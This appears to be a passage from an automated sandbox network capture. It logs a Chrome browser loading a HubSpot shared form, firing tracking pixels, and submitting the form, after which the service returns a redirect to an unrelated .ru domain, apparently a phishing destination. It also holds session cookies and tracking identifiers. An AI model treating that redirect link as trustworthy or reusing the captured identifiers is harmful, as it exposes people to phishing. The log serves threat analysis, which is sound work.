2025-01-10 11:04:36 UTC	224	IN	Data Raw: 58 2d 43 61 63 68 65 3a 20 52 65 66 72 65 73 68 48 69 74 20 66 72 6f 6d 20 63 6c 6f 75 64 66 72 6f 6e 74 0d 0a 58 2d 48 53 2d 41 6c 74 65 72 6e 61 74 65 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 58 2d 48 53 2d 43 46 2d 4c 61 6d 62 64 61 3a 20 75 73 2d 65 61 73 74 2d 31 2e 45 6e 66 6f 72 63 65 41 63 6c 46 6f 72 52 65 61 64 73 20 33 0d 0a 58 2d 48 53 2d 43 46 2d 4c 61 6d 62 64 61 2d 45 6e 66 6f 72 63 65 3a 20 75 73 2d 65 61 73 74 2d 31 2e 45 6e 66 6f 72 63 65 41 63 6c 46 6f 72 52 65 61 64 73 20 33 0d 0a 58 2d 52 6f 62 6f 74 73 2d 54 61 67 3a 20 6e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: X-Cache: RefreshHit from cloudfrontX-HS-Alternate-Content-Type: text/plainX-HS-CF-Lambda: us-east-1.EnforceAclForReads 3X-HS-CF-Lambda-Enforce: us-east-1.EnforceAclForReads 3X-Robots-Tag: noneServer: cloudflare
2025-01-10 11:04:36 UTC	1176	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 78 00 00 00 1a 08 03 00 00 00 4b 86 68 b1 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 02 af 50 4c 54 45 ff ff ff 30 30 30 7f 7f 7f f3 f3 f3 f9 f9 f9 3c 3c 3c f1 f1 f1 98 98 98 fb fb fb df df df f5 f5 f5 de de de 44 44 44 f6 f6 f6 cf cf cf db db db 0c 0c 0c 36 36 36 fd fd fd d6 d6 d6 bc a0 ff 4c 00 ff 39 00 bf 0e 00 30 fa fa fa 0d 0d 0d f0 f0 f0 97 97 97 61 61 61 37 37 37 14 14 14 a0 a0 a0 fe fe fe 10 10 10 12 12 12 1e 1e 1e 54 54 54 6e 30 ff d2 d2 d2 b7 b7 b7 9e 9e 9e a5 7f ff 81 81 81 50 50 50 fc fc fc 70 70 70 e8 e8 e8 72 72 72 dc dc dc 5c 5c 5c 2d 2d 2d ae ae ae 16 16 16 23 23 23 96 96 96 ff 52 52 80 29 Data Ascii: PNGIHDRxKh cHRMz&u0`:pQ<PLTE000<<<DDD666L90aaa777TTTn0PPPppprrr\\\---###RR)
2025-01-10 11:04:36 UTC	506	IN	Data Raw: 95 2c 27 3c a3 88 50 9f a4 a5 55 5e 38 3b 49 ca 9a 4c 68 f3 48 e1 e7 9e 95 b1 80 d0 38 19 9f d8 70 0b bf 39 0b 45 e9 52 03 91 24 19 eb 4d 26 36 bc 10 7a 72 b7 27 4a 6e b8 11 c6 ca fa d5 0b af 94 31 06 c6 8d 10 7e e6 79 59 93 99 2b ab d9 86 bb 68 93 63 22 f8 5a c9 97 6b 70 58 b5 18 19 3b 1a dd f0 1a c8 93 d5 e8 85 57 c8 d8 33 24 7c 7f 7f f8 b1 c7 e5 85 af 19 08 6f 1a 1c de 33 5c 78 92 e4 af 0b 01 91 cb 9c f0 5a 78 5d 56 b5 17 9e 30 5c f8 81 83 5d 37 dd 2c cf 95 84 6a 64 5c 60 c3 6f 12 ec ec 1f 75 91 37 ea 3f 4a a4 7a 22 32 c6 41 54 96 ef 85 17 a3 e4 3b e1 4e 28 93 75 e8 48 e1 58 87 4b 9e 3c d8 22 29 29 df 86 57 43 8f 8c 9d 50 69 0f 5a 2e a9 f9 0b 4e d5 3a 28 b0 77 80 6e dd 78 c3 78 77 08 13 9d b0 6d 1c 2b e9 7d e2 0b 27 67 c0 f4 ca 1f ca b0 61 5f 97 29 fb Data Ascii: ,'<PU^8;ILhH8p9ER$M&6zr'Jn1~yY+hc"ZkpX;W3$\|o3\xZx]V0\]7,jd\`ou7?Jz"2AT;N(uHXK<"))WCPiZ.N:(wnxxwm+}'ga_)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49891	104.19.175.188	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:36 UTC	845	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-RENDER_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
2025-01-10 11:04:36 UTC	904	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:36 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 9 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 878f371e-f9d6-4bf4-98e6-42648edf6363 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-pb78j x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 878f371e-f9d6-4bf4-98e6-42648edf6363 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ffc2fed0c5bc413-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 11:04:36 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49894	104.16.118.116	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:36 UTC	1091	OUT	GET /__ptq.gif?k=17&fi=88ff8659-0bef-4f40-af53-74c32a82fa4b&fci=e9a82a43-503a-42c6-b7ff-a7bf73266280&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507075017&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=IvjgSHgfyUH19BQlnmft0R0rTxSNz13tZddx2fRzpMg-1736507076-1.0.1.1-iWNP_af7iUnLwJ8Gwgv9lpa7999J0uD5R6uliVeswI8bZbcZsOLZ2LD0wIAk4C9OkbgF5ghB5hG2D052MtgOSA; _cfuvid=V1p6ZJr930niyplJ6tlJX5rI.b4IMxoB_oX.4IIg82k-1736507076046-0.0.1.1-604800000
2025-01-10 11:04:36 UTC	1205	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:36 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8ffc2fed28a28cb1-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 13 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-4fj5f x-evy-trace-virtual-host: all x-hubspot-correlation-id: c34b0741-69b0-4b57-bd98-c4f910da4f6c x-request-id: c34b0741-69b0-4b57-bd98-c4f910da4f6c x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rkkQ4P5f9%2FuISn7%2FseVv3Bq0n0xzU7aC42EyuavD2gtXAIr%2B30JKEyQDbLPIZfUBZOT6XZKew03jyFmjieuah%2FB%2FIivuy6NRhpL8K69o0VdozMQy0POiZmHb9Ce3hSr5Y5L2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2025-01-10 11:04:36 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50045	104.18.80.204	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:06:52 UTC	884	OUT	POST /submissions/v3/public/submit/formsnext/multipart/48528028/88ff8659-0bef-4f40-af53-74c32a82fa4b/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive Content-Length: 2635 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUYvSpeJb0DzJoqDZ sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://share.hsforms.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:06:52 UTC	2635	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 55 59 76 53 70 65 4a 62 30 44 7a 4a 6f 71 44 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 73 5f 63 6f 6e 74 65 78 74 22 0d 0a 0d 0a 7b 22 65 6d 62 65 64 41 74 54 69 6d 65 73 74 61 6d 70 22 3a 22 31 37 33 36 35 30 37 30 37 35 33 35 32 22 2c 22 66 6f 72 6d 44 65 66 69 6e 69 74 69 6f 6e 55 70 64 61 74 65 64 41 74 22 3a 22 31 37 33 36 34 36 32 34 34 34 37 39 34 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 22 2c 22 65 6d 62 65 64 54 79 70 65 22 3a 22 52 45 47 55 4c 41 52 22 2c 22 75 73 65 72 41 67 65 6e 74 22 3a 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 Data Ascii: ------WebKitFormBoundaryUYvSpeJb0DzJoqDZContent-Disposition: form-data; name="hs_context"{"embedAtTimestamp":"1736507075352","formDefinitionUpdatedAt":"1736462444794","lang":"en","embedType":"REGULAR","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64
2025-01-10 11:06:52 UTC	1367	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:06:52 GMT Content-Type: application/json;charset=utf-8 Transfer-Encoding: chunked Connection: close vary: origin access-control-allow-origin: https://share.hsforms.com access-control-allow-methods: OPTIONS, POST access-control-allow-headers: * access-control-allow-credentials: false x-content-type-options: nosniff Cache-Control: max-age=0, no-cache, no-store x-envoy-upstream-service-time: 78 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 66507c12-ff43-44c8-bb68-1ea1987f0f56 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-pdcc5 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 66507c12-ff43-44c8-bb68-1ea1987f0f56 CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=RbeoyVCivH_pmCF97VZ6y_cHMM8hRQZuN6RRDsMYglc-1736507212-1.0.1.1-lRuNdeHeOP0w6SWjkL3BYE6MKZxsdYS6TvmtX3jpe.NlKovGu7qx_CGAYrDl1YUb9Qt1EOWB0pQUbMwClaY8oA; path=/; expires=Fri, 10-Jan-25 11:36:52 GMT; domain=.hsforms.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Set-Cookie: _cfuvid=2FIeuT5sqc3652pcVKEkgnM2KHwdVS3zitXEsnU9ZKE-1736507212341-0.0.1.1-604800000; path=/; domain=.hsforms.com; HttpOnly; Secure; SameSite=None Server: cloudflare
2025-01-10 11:06:52 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 66 66 63 33 33 33 63 33 38 39 37 37 32 38 35 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 8ffc333c38977285-EWRalt-svc: h3=":443"; ma=86400
2025-01-10 11:06:52 UTC	251	IN	Data Raw: 66 35 0d 0a 7b 22 66 6f 72 6d 47 75 69 64 22 3a 22 38 38 66 66 38 36 35 39 2d 30 62 65 66 2d 34 66 34 30 2d 61 66 35 33 2d 37 34 63 33 32 61 38 32 66 61 34 62 22 2c 22 61 63 63 65 70 74 65 64 22 3a 74 72 75 65 2c 22 63 6f 6e 76 65 72 73 69 6f 6e 49 64 22 3a 22 33 37 32 64 30 33 32 64 2d 31 62 34 32 2d 34 64 61 63 2d 62 66 31 37 2d 37 36 63 30 38 36 31 35 38 34 66 62 22 2c 22 72 65 64 69 72 65 63 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 35 71 77 6f 2e 6f 76 65 6e 74 65 72 61 2e 72 75 2f 31 4f 53 6f 4b 2f 3f 73 75 62 6d 69 73 73 69 6f 6e 47 75 69 64 3d 33 37 32 64 30 33 32 64 2d 31 62 34 32 2d 34 64 61 63 2d 62 66 31 37 2d 37 36 63 30 38 36 31 35 38 34 66 62 22 2c 22 61 75 74 6f 6d 61 74 69 63 4c 69 6e 6b 65 72 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: f5{"formGuid":"88ff8659-0bef-4f40-af53-74c32a82fa4b","accepted":true,"conversionId":"372d032d-1b42-4dac-bf17-76c0861584fb","redirectUrl":"https://5qwo.oventera.ru/1OSoK/?submissionGuid=372d032d-1b42-4dac-bf17-76c0861584fb","automaticLinker":false}
2025-01-10 11:06:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50044	104.16.118.116	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:06:52 UTC	1328	OUT	GET /__ptq.gif?k=18&fi=88ff8659-0bef-4f40-af53-74c32a82fa4b&fci=e9a82a43-503a-42c6-b7ff-a7bf73266280&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507211226&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=IvjgSHgfyUH19BQlnmft0R0rTxSNz13tZddx2fRzpMg-1736507076-1.0.1.1-iWNP_af7iUnLwJ8Gwgv9lpa7999J0uD5R6uliVeswI8bZbcZsOLZ2LD0wIAk4C9OkbgF5ghB5hG2D052MtgOSA; _cfuvid=V1p6ZJr930niyplJ6tlJX5rI.b4IMxoB_oX.4IIg82k-1736507076046-0.0.1.1-604800000
2025-01-10 11:06:52 UTC	1196	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:06:52 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8ffc333ca8d84294-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 6 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-4fj5f x-evy-trace-virtual-host: all x-hubspot-correlation-id: a737e0b1-4a78-45aa-ba11-1d19c9eae917 x-request-id: a737e0b1-4a78-45aa-ba11-1d19c9eae917 x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CgDqaEiAvcmT6H01To2w1tXrxsnlz1jfKSP59t7fjK8uwA3VqD3tjkYvxPdFS27JxTuHJ8nfgukTRZO1Sz%2FKjhwCXn55dVPAZKjuXZQXf9QYvIlgwLZcpl8CzlbVuuOR9aZR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2025-01-10 11:06:52 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50046	104.16.118.116	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:06:52 UTC	1091	OUT	GET /__ptq.gif?k=18&fi=88ff8659-0bef-4f40-af53-74c32a82fa4b&fci=e9a82a43-503a-42c6-b7ff-a7bf73266280&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507211226&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=IvjgSHgfyUH19BQlnmft0R0rTxSNz13tZddx2fRzpMg-1736507076-1.0.1.1-iWNP_af7iUnLwJ8Gwgv9lpa7999J0uD5R6uliVeswI8bZbcZsOLZ2LD0wIAk4C9OkbgF5ghB5hG2D052MtgOSA; _cfuvid=V1p6ZJr930niyplJ6tlJX5rI.b4IMxoB_oX.4IIg82k-1736507076046-0.0.1.1-604800000
2025-01-10 11:06:53 UTC	1206	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:06:52 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8ffc3340dc6c8ce9-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 9 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-frtkl x-evy-trace-virtual-host: all x-hubspot-correlation-id: f9017cb5-d583-4614-b181-42afe3683ea3 x-request-id: f9017cb5-d583-4614-b181-42afe3683ea3 x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NuK9Y6Jt%2BqN6dUmrIsueKIYr5VTrUDvLrMdXUuKBU%2B4owEsubaUSkOFlf6XqaeCcDLaca2lBsOVdDgTPqh6MFF98o%2Fo0At%2Bcy3tNLOu02t7oUPYe4Fi%2BW32QNR9LrDOtkzu%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2025-01-10 11:06:53 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50048	104.19.175.188	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:06:52 UTC	977	OUT	GET /submissions/v3/public/submit/formsnext/multipart/48528028/88ff8659-0bef-4f40-af53-74c32a82fa4b/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
2025-01-10 11:06:53 UTC	900	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 10 Jan 2025 11:06:53 GMT Content-Type: text/html;charset=iso-8859-1 Transfer-Encoding: chunked Connection: close allow: POST,OPTIONS Cache-Control: max-age=0, no-cache, no-store access-control-allow-credentials: false vary: origin x-content-type-options: nosniff x-envoy-upstream-service-time: 6 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 84db796a-aedc-4c0d-8dbf-2cc22ed3f5b5 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-b9zv5 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 84db796a-aedc-4c0d-8dbf-2cc22ed3f5b5 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ffc33414d2bf78d-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 11:06:53 UTC	235	IN	Data Raw: 65 35 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 32 3e 48 54 54 50 20 45 52 52 4f 52 20 34 30 35 3c 2f 68 32 3e 0a 3c 70 3e 52 65 61 73 6f 6e 3a 0a 3c 70 72 65 3e 20 20 20 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 70 72 65 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: e5<html><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/><title>Error 405 Method Not Allowed</title></head><body><h2>HTTP ERROR 405</h2><p>Reason:<pre> Method Not Allowed</pre></p></body></html>
2025-01-10 11:06:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50047	104.19.175.188	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:06:52 UTC	1085	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-SUBMISSION_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
